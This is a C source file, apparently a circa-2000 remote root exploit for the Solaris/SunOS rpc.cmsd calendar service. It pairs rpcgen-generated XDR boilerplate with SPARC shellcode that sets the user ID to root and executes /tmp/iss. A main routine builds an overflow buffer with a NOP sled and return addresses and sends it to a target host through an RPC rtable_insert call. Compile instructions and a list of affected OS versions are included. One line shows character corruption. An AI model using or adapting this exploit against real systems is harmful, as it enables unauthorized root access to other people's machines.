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rpc-cmsd.c
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C/C++ Source or Header
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2005-02-12
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28KB
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1,287 lines
/*
*
* cmsd warez
*
* executes /tmp/iss
*
* gcc -o c c.c -lrpcsvc -lnsl -lsocket
*
* ..OS's Affected..
* (Solaris 7/SPARC)
* (Solaris 7/x86)
* (Solaris 2.6)
* (Solaris 2.5.1)
* (Solaris 2.5.1_x86)
* (Solaris 2.5)
* (Solaris 2.5_x86)
* (Solaris 2.3)
* (SunOS 4.1.3/4.1.3C/4.1.3_U1/4.1.4)
* (Solaris 2.6/SPARC)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <arpa/inet.h>
char c0de[]=
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x8d" /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
"\x91\xd0\x20\x08" /* ta 8 - seteuid(0); */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
"\x91\xd0\x20\x08" /* ta 8 - setuid(0); */
"\x2d\x0b\xdd\x1b" /* sethi %hi(0x2f746c00), %l6 */
"\xac\x15\xa1\x70" /* or %l6, 0x170, %l6 - "/tmp" */
"\x2f\x0b\xda\x5c" /* sethi %hi(0x2f697000), %l7 */
"\xae\x15\xe3\x73" /* or %l7, 0x373, %l7 - "/iss" */
"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
"\x92\x03\xa0\x0c" /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
"\x9c\x03\xa0\x14" /* add %sp, 0x14, %sp - (0x14==20) give space */
"\xec\x3b\xbf\xec" /* std %l6, [ %sp + -20 ] - store "/tmp/iss" */
"\xc0\x23\xbf\xf4" /* clr [ %sp + -12 ] - null term "/tmp/iss" */
"\xdc\x23\xbf\xf8" /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
"\xc0\x23\xbf\xfc" /* clr [ %sp + -4 ] - null term ptr array (argv) */
"\x82\x10\x20\x3b" /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
"\x91\xd0\x20\x08" /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
"\x90\x1b\xc0\x0f" /* xor %o7, %o7, %o0 - 0 in o0 */
"\x82\x10\x20\x01" /* mov 1, %g1 - 1==SYS_exit in g1 */
"\x91\xd0\x20\x08"; /* ta 8 - exit(0) */
#define X_OFFSET 5500
#define RW_OFFSET 800
#define NOPS 700
#define ALIGN (2000+sizeof(unsigned long)*7)
#define REG_W_SIZ 64
#define PRE_RET (REG_W_SIZ-3*sizeof(unsigned long))
#define OFBUFSIZ (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))
char cname[] = "root@ISS";
/* ----- rpcgen ----- */
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
#ifndef _RTABLE4_H_RPCGEN
#define _RTABLE4_H_RPCGEN
#include <rpc/rpc.h>
typedef char *Buffer;
enum Transaction {
add = 0,
cm_remove = 1
};
typedef enum Transaction Transaction;
enum Interval {
single = 0,
daily = 1,
weekly = 2,
biweekly = 3,
monthly = 4,
yearly = 5,
nthWeekday = 6,
everyNthDay = 7,
everyNthWeek = 8,
everyNthMonth = 9,
otherPeriod = 10,
monThruFri = 11,
monWedFri = 12,
tueThur = 13,
daysOfWeek = 14
};
typedef enum Interval Interval;
struct Period
{
Interval period;
int nth;
long enddate;
};
typedef struct Period Period;
enum Event_Type {
appointment = 0,
reminder = 1,
otherTag = 2,
holiday = 3,
toDo = 4
};
typedef enum Event_Type Event_Type;
enum Options {
do_all = 0,
do_one = 1,
do_forward = 2
};
typedef enum Options Options;
struct Tag
{
Event_Type tag;
int showtime;
struct Tag *next;
};
typedef struct Tag Tag;
enum Privacy_Level {
public = 0,
private = 1,
semiprivate = 2
};
typedef enum Privacy_Level Privacy_Level;
struct Attribute
{
struct Attribute *next;
Buffer attr;
Buffer value;
Buffer clientdata;
};
typedef struct Attribute Attribute;
typedef Attribute *Attr;
struct Except
{
int ordinal;
struct Except *next;
};
typedef struct Except Except;
typedef Except *Exception;
struct Id
{
long tick;
long key;
};
typedef struct Id Id;
struct Uid
{
struct Id appt_id;
struct Uid *next;
};
typedef struct Uid Uid;
enum Appt_Status {
active = 0,
pendingAdd = 1,
pendingDelete = 2,
committed = 3,
cancelled = 4,
completed = 5
};
typedef enum Appt_Status Appt_Status;
struct Appt
{
struct Id appt_id;
struct Tag *tag;
int duration;
int ntimes;
Buffer what;
struct Period period;
Buffer author;
Buffer client_data;
struct Except *exception;
struct Attribute *attr;
Appt_Status appt_status;
Privacy_Level privacy;
struct Appt *next;
};
typedef struct Appt Appt;
struct Abb_Appt
{
struct Id appt_id;
struct Tag *tag;
Buffer what;
int duration;
struct Period period;
struct Abb_Appt *next;
Appt_Status appt_status;
Privacy_Level privacy;
};
typedef struct Abb_Appt Abb_Appt;
struct Apptid
{
struct Id *oid;
struct Appt *new_appt;
Options option;
};
typedef struct Apptid Apptid;
struct Reminder
{
struct Id appt_id;
long tick;
Attribute attr;
struct Reminder *next;
};
typedef struct Reminder Reminder;
enum Table_Res_Type {
AP = 0,
RM = 1,
AB = 2,
ID = 3
};
typedef enum Table_Res_Type Table_Res_Type;
struct Table_Res_List
{
Table_Res_Type tag;
union {
Appt *a;
Reminder *r;
Abb_Appt *b;
Uid *i;
} Table_Res_List_u;
};
typedef struct Table_Res_List Table_Res_List;
enum Access_Status {
access_ok = 0,
access_added = 1,
access_removed = 2,
access_failed = 3,
access_exists = 4,
access_partial = 5,
access_other = 6,
access_notable = 7,
access_notsupported = 8,
access_incomplete = 9
};
typedef enum Access_Status Access_Status;
struct Table_Res
{
Access_Status status;
Table_Res_List res;
};
typedef struct Table_Res Table_Res;
#define access_none 0x0 /* owner only */
#define access_read 0x1
#define access_write 0x2
#define access_delete 0x4
#define access_exec 0x8 /* execution permission is a hack! */
#define WORLD "world" /* special user */
struct Access_Entry
{
Buffer who;
int access_type;
struct Access_Entry *next;
};
typedef struct Access_Entry Access_Entry;
struct Access_Args
{
Buffer target;
Access_Entry *access_list;
};
typedef struct Access_Args Access_Args;
struct Range
{
long key1;
long key2;
struct Range *next;
};
typedef struct Range Range;
struct Keyrange
{
long key;
long tick1;
long tick2;
struct Keyrange *next;
};
typedef struct Keyrange Keyrange;
struct Uidopt
{
struct Id appt_id;
Options option;
struct Uidopt *next;
};
typedef struct Uidopt Uidopt;
enum Table_Args_Type {
TICK_4 = 0,
APPTID = 1,
UID = 2,
APPT = 3,
RANGE = 4,
KEYRANGE = 5,
UIDOPT = 6
};
typedef enum Table_Args_Type Table_Args_Type;
struct Args
{
Table_Args_Type tag;
union {
long tick;
Apptid apptid;
Uid *key;
Appt *appt;
Range *range;
Keyrange *keyrange;
Uidopt *uidopt;
} Args_u;
};
typedef struct Args Args;
struct Table_Args
{
Buffer target;
Args args;
int pid;
};
typedef struct Table_Args Table_Args;
struct Registration
{
Buffer target;
u_long prognum;
u_long versnum;
u_long procnum;
struct Registration *next;
int pid;
};
typedef struct Registration Registration;
struct Table_Op_Args
{
Buffer target;
Buffer new_target;
};
typedef struct Table_Op_Args Table_Op_Args;
enum Table_Status {
ok = 0,
duplicate = 1,
badtable = 2,
notable = 3,
denied = 4,
other = 5,
tbl_not_owner = 6,
tbl_exist = 7,
tbl_notsupported = 8
};
typedef enum Table_Status Table_Status;
enum Registration_Status {
registered = 0,
failed = 1,
deregistered = 2,
confused = 3,
reg_notable = 4
};
typedef enum Registration_Status Registration_Status;
/*
* rtable_delete and rtable_change take over the functionality of
* rtable_delete_instance and rtable_change_instance repectively.
* rtable_delete_instance and rtable_change_instance are now dummy
* routines exist for backward compatibility purpose and return
* access_notsupported.
*/
extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();
#define TABLEPROG ((unsigned long)(100068))
#define TABLEVERS ((unsigned long)(4))
#define rtable_ping ((unsigned long)(0))
extern void * rtable_ping_4();
#define rtable_lookup ((unsigned long)(1))
extern Table_Res * rtable_lookup_4();
#define rtable_lookup_next_larger ((unsigned long)(2))
extern Table_Res * rtable_lookup_next_larger_4();
#define rtable_lookup_next_smaller ((unsigned long)(3))
extern Table_Res * rtable_lookup_next_smaller_4();
#define rtable_lookup_range ((unsigned long)(4))
extern Table_Res * rtable_lookup_range_4();
#define rtable_abbreviated_lookup_range ((unsigned long)(5))
extern Table_Res * rtable_abbreviated_lookup_range_4();
#define rtable_insert ((unsigned long)(6))
extern Table_Res * rtable_insert_4();
#define rtable_delete ((unsigned long)(7))
extern Table_Res * rtable_delete_4();
#define rtable_delete_instance ((unsigned long)(8))
extern Table_Res * rtable_delete_instance_4();
#define rtable_change ((unsigned long)(9))
extern Table_Res * rtable_change_4();
#define rtable_change_instance ((unsigned long)(10))
extern Table_Res * rtable_change_instance_4();
#define rtable_lookup_next_reminder ((unsigned long)(11))
extern Table_Res * rtable_lookup_next_reminder_4();
#define rtable_check ((unsigned long)(12))
extern Table_Status * rtable_check_4();
#define rtable_flush_table ((unsigned long)(13))
extern Table_Status * rtable_flush_table_4();
#define rtable_size ((unsigned long)(14))
extern int * rtable_size_4();
#define register_callback ((unsigned long)(15))
extern Registration_Status * register_callback_4();
#define deregister_callback ((unsigned long)(16))
extern Registration_Status * deregister_callback_4();
#define rtable_set_access ((unsigned long)(17))
extern Access_Status * rtable_set_access_4();
#define rtable_get_access ((unsigned long)(18))
extern Access_Args * rtable_get_access_4();
#define rtable_abbreviated_lookup_key_range ((unsigned long)(19))
extern Table_Res * rtable_abbreviated_lookup_key_range_4();
#define rtable_gmtoff ((unsigned long)(20))
extern long * rtable_gmtoff_4();
#define rtable_create ((unsigned long)(21))
extern Table_Status * rtable_create_4();
#define rtable_remove ((unsigned long)(22))
extern Table_Status * rtable_remove_4();
#define rtable_rename ((unsigned long)(23))
extern Table_Status * rtable_rename_4();
extern int tableprog_4_freeresult();
/* the xdr functions */
extern bool_t xdr_Buffer();
extern bool_t xdr_Transaction();
extern bool_t xdr_Interval();
extern bool_t xdr_Period();
extern bool_t xdr_Event_Type();
extern bool_t xdr_Options();
extern bool_t xdr_Tag();
extern bool_t xdr_Privacy_Level();
extern bool_t xdr_Attribute();
extern bool_t xdr_Attr();
extern bool_t xdr_Except();
extern bool_t xdr_Exception();
extern bool_t xdr_Id();
extern bool_t xdr_Uid();
extern bool_t xdr_Appt_Status();
extern bool_t xdr_Appt();
extern bool_t xdr_Abb_Appt();
extern bool_t xdr_Apptid();
extern bool_t xdr_Reminder();
extern bool_t xdr_Table_Res_Type();
extern bool_t xdr_Table_Res_List();
extern bool_t xdr_Access_Status();
extern bool_t xdr_Table_Res();
extern bool_t xdr_Access_Entry();
extern bool_t xdr_Access_Args();
extern bool_t xdr_Range();
extern bool_t xdr_Keyrange();
extern bool_t xdr_Uidopt();
extern bool_t xdr_Table_Args_Type();
extern bool_t xdr_Args();
extern bool_t xdr_Table_Args();
extern bool_t xdr_Registration();
extern bool_t xdr_Table_Op_Args();
extern bool_t xdr_Table_Status();
extern bool_t xdr_Registration_Status();
#endif /* !_RTABLE4_H_RPCGEN */
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/
bool_t
xdr_Buffer(xdrs, objp)
register XDR *xdrs;
Buffer *objp;
{
register long *buf;
if (!xdr_string(xdrs, objp, ~0))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Transaction(xdrs, objp)
register XDR *xdrs;
Transaction *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Interval(xdrs, objp)
register XDR *xdrs;
Interval *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Period(xdrs, objp)
register XDR *xdrs;
Period *objp;
{
register long *buf;
if (!xdr_Interval(xdrs, &objp->period))
return (FALSE);
if (!xdr_int(xdrs, &objp->nth))
return (FALSE);
if (!xdr_long(xdrs, &objp->enddate))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Event_Type(xdrs, objp)
register XDR *xdrs;
Event_Type *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Options(xdrs, objp)
register XDR *xdrs;
Options *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Tag(xdrs, objp)
register XDR *xdrs;
Tag *objp;
{
register long *buf;
if (!xdr_Event_Type(xdrs, &objp->tag))
return (FALSE);
if (!xdr_int(xdrs, &objp->showtime))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Privacy_Level(xdrs, objp)
register XDR *xdrs;
Privacy_Level *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Attribute(xdrs, objp)
register XDR *xdrs;
Attribute *objp;
{
register long *buf;
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->attr))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->value))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->clientdata))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Attr(xdrs, objp)
register XDR *xdrs;
Attr *objp;
{
register long *buf;
if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Except(xdrs, objp)
register XDR *xdrs;
Except *objp;
{
register long *buf;
if (!xdr_int(xdrs, &objp->ordinal))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Exception(xdrs, objp)
register XDR *xdrs;
Exception *objp;
{
register long *buf;
if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Id(xdrs, objp)
register XDR *xdrs;
Id *objp;
{
register long *buf;
if (!xdr_long(xdrs, &objp->tick))
return (FALSE);
if (!xdr_long(xdrs, &objp->key))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Uid(xdrs, objp)
register XDR *xdrs;
Uid *objp;
{
register long *buf;
if (!xdr_Id(xdrs, &objp->appt_id))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Appt_Status(xdrs, objp)
register XDR *xdrs;
Appt_Status *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Appt(xdrs, objp)
register XDR *xdrs;
Appt *objp;
{
register long *buf;
if (!xdr_Id(xdrs, &objp->appt_id))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
return (FALSE);
if (!xdr_int(xdrs, &objp->duration))
return (FALSE);
if (!xdr_int(xdrs, &objp->ntimes))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->what))
return (FALSE);
if (!xdr_Period(xdrs, &objp->period))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->author))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->client_data))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
return (FALSE);
if (!xdr_Appt_Status(xdrs, &objp->appt_status))
return (FALSE);
if (!xdr_Privacy_Level(xdrs, &objp->privacy))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Abb_Appt(xdrs, objp)
register XDR *xdrs;
Abb_Appt *objp;
{
register long *buf;
if (!xdr_Id(xdrs, &objp->appt_id))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->what))
return (FALSE);
if (!xdr_int(xdrs, &objp->duration))
return (FALSE);
if (!xdr_Period(xdrs, &objp->period))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
return (FALSE);
if (!xdr_Appt_Status(xdrs, &objp->appt_status))
return (FALSE);
if (!xdr_Privacy_Level(xdrs, &objp->privacy))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Apptid(xdrs, objp)
register XDR *xdrs;
Apptid *objp;
{
register long *buf;
if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
return (FALSE);
if (!xdr_Options(xdrs, &objp->option))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Reminder(xdrs, objp)
register XDR *xdrs;
Reminder *objp;
{
register long *buf;
if (!xdr_Id(xdrs, &objp->appt_id))
return (FALSE);
if (!xdr_long(xdrs, &objp->tick))
return (FALSE);
if (!xdr_Attribute(xdrs, &objp->attr))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Table_Res_Type(xdrs, objp)
register XDR *xdrs;
Table_Res_Type *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Table_Res_List(xdrs, objp)
register XDR *xdrs;
Table_Res_List *objp;
{
register long *buf;
if (!xdr_Table_Res_Type(xdrs, &objp->tag))
return (FALSE);
switch (objp->tag)
{
case AP:
if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
return (FALSE);
break;
case RM:
if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
return (FALSE);
break;
case AB:
if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
return (FALSE);
break;
case ID:
if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
return (FALSE);
break;
}
return (TRUE);
}
bool_t
xdr_Access_Status(xdrs, objp)
register XDR *xdrs;
Access_Status *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Table_Res(xdrs, objp)
register XDR *xdrs;
Table_Res *objp;
{
register long *buf;
if (!xdr_Access_Status(xdrs, &objp->status))
return (FALSE);
if (!xdr_Table_Res_List(xdrs, &objp->res))
return (FALSE);
return (TRUE);
}
#define access_none 0x0 /* owner only */
#define access_read 0x1
#define access_write 0x2
#define access_delete 0x4
#define access_exec 0x8 /* execution permission is a hack! */
#define WORLD "world" /* special user */
bool_t
xdr_Access_Entry(xdrs, objp)
register XDR *xdrs;
Access_Entry *objp;
{
register long *buf;
if (!xdr_Buffer(xdrs, &objp->who))
return (FALSE);
if (!xdr_int(xdrs, &objp->access_type))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Access_Args(xdrs, objp)
register XDR *xdrs;
Access_Args *objp;
{
register long *buf;
if (!xdr_Buffer(xdrs, &objp->target))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Range(xdrs, objp)
register XDR *xdrs;
Range *objp;
{
register long *buf;
if (!xdr_long(xdrs, &objp->key1))
return (FALSE);
if (!xdr_long(xdrs, &objp->key2))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Keyrange(xdrs, objp)
register XDR *xdrs;
Keyrange *objp;
{
register long *buf;
if (!xdr_long(xdrs, &objp->key))
return (FALSE);
if (!xdr_long(xdrs, &objp->tick1))
return (FALSE);
if (!xdr_long(xdrs, &objp->tick2))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Uidopt(xdrs, objp)
register XDR *xdrs;
Uidopt *objp;
{
register long *buf;
if (!xdr_Id(xdrs, &objp->appt_id))
return (FALSE);
if (!xdr_Options(xdrs, &objp->option))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Table_Args_Type(xdrs, objp)
register XDR *xdrs;
Table_Args_Type *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Args(xdrs, objp)
register XDR *xdrs;
Args *objp;
{
register long *buf;
if (!xdr_Table_Args_Type(xdrs, &objp->tag))
return (FALSE);
switch (objp->tag)
{
case TICK_4:
if (!xdr_long(xdrs, &objp->Args_u.tick))
return (FALSE);
break;
case APPTID:
if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
return (FALSE);
break;
case UID:
if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
return (FALSE);
break;
case APPT:
if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
return (FALSE);
break;
case RANGE:
if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
return (FALSE);
break;
case KEYRANGE:
if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
return (FALSE);
break;
case UIDOPT:
if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
return (FALSE);
break;
default:
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_Table_Args(xdrs, objp)
register XDR *xdrs;
Table_Args *objp;
{
register long *buf;
if (!xdr_Buffer(xdrs, &objp->target))
return (FALSE);
if (!xdr_Args(xdrs, &objp->args))
return (FALSE);
if (!xdr_int(xdrs, &objp->pid))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Registration(xdrs, objp)
register XDR *xdrs;
Registration *objp;
{
register long *buf;
if (!xdr_Buffer(xdrs, &objp->target))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->prognum))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->versnum))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->procnum))
return (FALSE);
if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
return (FALSE);
if (!xdr_int(xdrs, &objp->pid))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Table_Op_Args(xdrs, objp)
register XDR *xdrs;
Table_Op_Args *objp;
{
register long *buf;
if (!xdr_Buffer(xdrs, &objp->target))
return (FALSE);
if (!xdr_Buffer(xdrs, &objp->new_target))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Table_Status(xdrs, objp)
register XDR *xdrs;
Table_Status *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_Registration_Status(xdrs, objp)
register XDR *xdrs;
Registration_Status *objp;
{
register long *buf;
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
/*
* rtable_delete and rtable_change take over the functionality of
* rtable_delete_instance and rtable_change_instance repectively.
* rtable_delete_instance and rtable_change_instance are now dummy
* routines exist for backward compatibility purpose and return
* access_notsupported.
*/
extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();
/* ----- rpcgen ----- */
unsigned long resolve(char *host)
{
long i;
struct hostent *he;
if((i=inet_addr(host))==(-1))
if(!(he=gethostbyname(host)))
return(0);
else
return(*(unsigned long *)he->h_addr);
return(i);
}
int main(int argc, char *argv[])
{
char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
struct sockaddr_in sin;
struct timeval tv;
Table_Op_Args toa;
Table_Status ts;
Table_Args ta;
Table_Res tr;
Appt ap;
int sock;
unsigned long *ptr;
CLIENT *c;
if(argc!=2)
{
(void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
exit(-1);
}
(void)memset(&sin,0,sizeof(sin));
sin.sin_family = AF_INET;
if(!(sin.sin_addr.s_addr=resolve(argv[1])))
{
(void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
exit(-1);
}
(void)memset(&tv,0,sizeof(tv));
tv.tv_sec = 7;
sock = RPC_ANYSOCK;
if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
{
(void)clnt_pcreateerror(argv[0]);
exit(1);
}
c->cl_auth = authunix_create(argv[1],0,0,0,0);
(void)memset(&toa,0,sizeof(toa));
toa.target = cname;
(void)memset(&ts,0,sizeof(ts));
if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
{
(void)clnt_perror(c,"error: rtable_create");
exit(-1);
}
(void)memset(abuf,0xff,sizeof(abuf));
abuf[sizeof(abuf)-1] = 0;
for(ptr=(unsigned long *)obuf;
ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
ptr++)
*ptr = *(unsigned long *)c0de;
(void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));
ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);
for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
*ptr = (0xeffffff0-RW_OFFSET);
for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
*ptr = (0xeffffff0-X_OFFSET);
for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
*ptr = *(unsigned long *)c0de;
(void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));
(void)memset(&ap,0,sizeof(ap));
ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
ap.what = abuf;
ap.client_data = &obuf[2];
(void)memset(&ta,0,sizeof(ta));
ta.args.tag = APPT;
ta.target = cname;
ta.args.Args_u.appt = ≈
(void)memset(&tr,0,sizeof(tr));
if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
(void)printf("possible success\n");
else
{
(void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
exit(-1);
}
(void)clnt_destroy(c);
return(0);
}
/* www.hack.co.za [2000]*/